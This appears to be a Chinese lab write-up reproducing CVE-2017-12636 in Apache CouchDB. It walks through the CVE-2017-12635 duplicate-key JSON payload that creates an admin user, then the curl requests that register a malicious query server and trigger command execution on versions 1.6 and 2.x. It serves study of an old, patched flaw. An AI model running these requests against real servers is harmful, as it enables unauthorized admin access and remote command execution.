0x00 漏洞概述
编号为CVE-2017-12636。
Apache CouchDB是一款开源数据库,专注于易用性和成为“完全拥抱Web的数据库”。它使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL类型数据库。CouchDB默认会在5984端口开放RESTful的API接口,用于数据库管理。
由于CouchDB自身设计原因,管理员身份可以通过HTTP(S)方式配置数据库。在某些配置中,可以设置可执行文件的路径,在数据库运行范围内执行。
影响版本:Apache CouchDB < 1.7.0以及 < 2.1.1。
0x01 配置
CouchDB有一个query_servers
配置项,在官方文档有:
CouchDB delegates computation of design documents functions to external query servers. The external query server is a special OS process which communicates with CouchDB over standard input/output using a very simple line-based protocol with JSON messages.
所谓外部查询服务器(external query server)就是个进程,与CouchDB通过标准I/O交互JSON数据。由此用户是可以手动指定程序作为这个“进程”的。
在配置文件local.ini中可以配置query_server
,其格式为:
[query_servers]
LANGUAGE = PATH ARGS
而默认情况下,会配置好两个query_server
:
[query_servers]
javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js
coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js
这种配置似乎过于开放了。如果可以更改这里的配置,就可以利用数据库执行命令了。
再看官方文档:
The CouchDB Server Configuration API provide an interface to query and update the various configuration values within a running CouchDB instance.
CouchDB提供了API用以从外部修改自身配置,并把修改结果保存到配置文件中。
0x02 部署
使用两台虚拟机。靶机为:192.168.0.108,攻击机为:192.168.0.104。
靶机部署镜像:
docker pull xavierholt/cve-2017-12636
docker run -d -p 5984:5984 xavierholt/cve-2017-12636
靶机访问/_utils/路径,可以看到目前是Everyone is admin的状态,点击Fix this配置一个管理员(随便写,因为提权用不上)。
0x03 利用流程
访问靶机
可以看到默认欢迎的JSON信息,以及服务器主机信息。
访问/_utils/路径,当想要查看_users时发现被拒绝:
当前至多只能注册一个普通用户,无法获得管理员权限。
垂直权限绕过
该漏洞需要依靠当初同时爆出的CVE-2017-12635提升权限。CVE-2017-12635垂直权限绕过漏洞来源于Erlang和JavaScript对于JSON的重复键解析存在差异性,下面是二者的存储形式:
-
Erlang:
jiffy:decode('{"a":"1", "a":"2"}').
{[{<<"a">>,<<"1">>},{<<"a">>,<<"2">>}]}
-
JavaScript:
JSON.parse('{"a":"1", "a": "2"}');
{ a: '2' }
对于给定键,Erlang解析器会存储两个值,而JavaScript只会存储一个值。
构造Payload(用于注册):
{
"type": "user",
"name": "vuluser1",
"roles": ["_admin"],
"roles":[],
"password": "vulnerable"
}
那么系统的安全检测部分(JavaScript编写)会取到第二个roles
键,故判定为无害的注册请求,放行。当这份JSON到达系统实现身份验证和授权的部分(Erlang编写),由于解析组件jiffy
的函数实现问题,getter
函数会仅取第一个roles
键,于是完成创建了一个管理员权限的用户。
BurpSuite抓一下注册的包,注意PUT路径中的用户名、_id
键:
返回状态码201,创建成功!
此时使用账户vuluser1:vulnerable访问/_utils/里的_user就不会被拒绝了。
1.6.0系列
上面使用的镜像版本就是1.6.0。下面用curl完成命令注入(BurpSuite也可)。
请求添加一个名为cmd
的query_server
,其值为"id >/tmp/success"
(就是实际需要执行的命令):
└─$ curl -X PUT 'http://vuluser1:vulnerable@192.168.0.108:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
""
请求添加一个名为vultest
的Database,以便在里面执行查询:
└─$ curl -X PUT 'http://vuluser1:vulnerable@192.168.0.108:5984/vultest'
{"ok":true}
请求添加一个名为vul
的Document,以便在里面执行查询:
└─$ curl -X PUT 'http://vuluser1:vulnerable@192.168.0.108:5984/vultest/vul' -d '{"_id": "770895a97726d5ca6d70a22173005c7b"}'
{"ok":true,"id":"vul","rev":"1-967a00dff5e02add41819138abb3284d"}
在这个Database里进行查询,language
设为了cmd
,于是会使用新添加的名为cmd
的query_server
进行查询,最后触发命令执行:
└─$ curl -X POST 'http://vuluser1:vulnerable@192.168.0.108:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
{"error":"EXIT","reason":"{{badmatch,{error,{bad_return_value,{os_process_error,{exit_status,0}}}}},\n [{couch_query_servers,new_process,3,\n [{file,\"couch_query_servers.erl\"},{line,477}]},\n {couch_query_servers,lang_proc,3,\n [{file,\"couch_query_servers.erl\"},{line,462}]},\n {couch_query_servers,handle_call,3,\n [{file,\"couch_query_servers.erl\"},{line,334}]},\n {gen_server,try_handle_call,4,[{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,[{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,[{file,\"proc_lib.erl\"},{line,240}]}]}"}
看到返回错误信息,但是没关系,报错来源于执行命令之后的流程。
用靶机Docker的CLI看一下文件:
写入成功!
2.1.0系列
CouchDB 2.x版本引入集群概念,所以修改配置的API路径需要增加node名称。
获取node名称:
curl http://vuluser1:vulnerable@192.168.0.108:5984/_membership
添加query_server
(增加了node路径,如这里使用node为nonode@nohost
):
curl -X PUT http://vuluser1:vulnerable@192.168.0.108:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/CVE-2017-12636_is_success"'
之后创建Database和Document和1.6.0系列中相同。
由于CouchDB 2.x版本删除了_temp_view
,需要新建一个_view
。
0x04 EXP
推荐乌云的EXP:vulhub/exp.py at master · vulhub/vulhub (github.com)。